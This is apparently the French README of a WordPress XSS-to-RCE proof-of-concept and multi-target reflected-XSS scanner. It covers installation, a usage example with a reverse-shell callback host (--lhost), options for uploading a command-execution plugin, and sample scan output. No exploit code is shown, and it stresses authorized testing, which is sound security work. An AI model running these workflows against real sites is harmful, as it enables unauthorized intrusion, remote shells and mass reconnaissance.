
Scanner de sécurité WordPress qui identifie les versions, détecte les XSS reflétées sur plusieurs cibles simultanément et prend en charge un flux de travail d'exploitation authentifié de type XSS vers RCE pour les tests autorisés.
Développeur : Crédit : YogaGymn
Utilitaire PoC/scanning pour des tests de sécurité autorisés sur WordPress. Le projet contient un flux d'exploitation pour cible unique et un mode scan uniquement multi-cibles concurrent.
Important : N'utilisez ce projet que sur des installations WordPress que vous possédez ou pour lesquelles vous disposez d'une autorisation explicite de test. Le scanner multi-cibles est intentionnellement limité à l'identification de version et à la détection de réflexion XSS ; il n'effectue pas de capture d'identifiants, d'upload de plugin ni de RCE contre une liste de cibles.
Le script original prend en charge :
auto, xss et direct.Le scanner ajouté prend en charge :
ThreadPoolExecutor.Le mode multi-cibles n'appelle pas les fonctions RCE d'origine.
requestsInstallez la dépendance :
python3 -m pip install requests
Si votre distribution Linux utilise un environnement Python géré en externe, utilisez un environnement virtuel :
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clonez ou copiez le projet : original de l'exploit yogaGymn
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Ou placez simplement :
xss2shell.py
dans votre répertoire de travail.
Créez un fichier nommé targets.txt OU alvos.txt :
https://example1.test
https://example2.test
https://example3.test
Les commentaires et les lignes vides sont ignorés :
# Alvos de laboratório autorizado
https://example1.test
https://example2.test
Exécutez le scanner :
python3 xss2shell.py -i targets.txt
La concurrence par défaut est de 10 workers.
Par exemple, utilisez 20 workers :
python3 xss2shell.py -i targets.txt --workers 20
Pour un petit laboratoire :
python3 xss2shell.py -i targets.txt --workers 5
Ne choisissez pas un nombre de workers inutilement élevé, car cela peut augmenter la charge de connexions et déclencher des limites de débit ou des contrôles défensifs.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
Le scan_results.txt par défaut utilise des champs séparés par des tabulations :
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Exemple :
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Statut Signification
XSS_REFLECTION_DETECTED Le scanner a détecté le
comportement de réflexion HTML
testé. Cela ne prouve pas en soi
une RCE.
XSS_NOT_DETECTED La réflexion testée n'a pas été
détectée.
ERROR La vérification a rencontré une
exception.Le scanner peut rapporter des détails comme :
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDCes valeurs décrivent la réponse observée par la routine de détection ; elles doivent être validées manuellement avant de considérer un résultat comme une vulnérabilité confirmée.
Le script original prend également en charge les arguments de cible unique.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Les flux de travail XSS/directs peuvent créer ou activer un plugin contenant une fonctionnalité d'exécution de commandes. Utilisez-les uniquement dans un environnement de test autorisé.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argument Description
target URL de la cible unique.
-i, --input Fichier contenant plusieurs cibles.
--output Fichier de sortie pour les
résultats multi-cibles. Défaut :
scan_results.txt.
--workers Nombre de workers concurrents.
Défaut : 10.
--mode Mode original à cible unique :
auto, xss ou direct.
-u, --username Nom d'utilisateur WordPress pour
le flux direct/de secours original.
-p, --password Mot de passe WordPress pour le
flux direct/de secours original.
--lhost Hôte de callback/reverse-shell pour
le PoC original.
--lport Port du reverse-shell. Défaut :
4444.
--slug Slug du plugin. Défaut : xss2shell.
--callback-port Port du serveur de callback.
Défaut : 9090.
--no-rev Ignorer le déclenchement du
reverse-shell dans le flux
original.Le mode multi-cibles utilise la fonctionnalité Python suivante :
ThreadPoolExecutor
Chaque cible est envoyée comme une tâche de scan indépendante :
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
Les résultats sont collectés au fur et à mesure que les tâches se terminent, tandis que la sortie finale est générée en suivant l'ordre original des cibles.
Le mode multi-cibles est conçu pour des évaluations de sécurité autorisées et des environnements de laboratoire.
Flux de travail recommandé :
targets.txt.N'utilisez pas le scanner contre des systèmes tiers sans autorisation.
Le scanner n'est pas un outil complet d'évaluation des vulnérabilités.
En particulier :
unknown (inconnu) ne signifie pas que la cible est vulnérable..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
Aucune information de licence n'était présente dans le code source fourni.
Si ce projet est publié publiquement, ajoutez un fichier de licence explicite, comme LICENSE. Ce code est un développement ultérieur du code original de ZSecurity.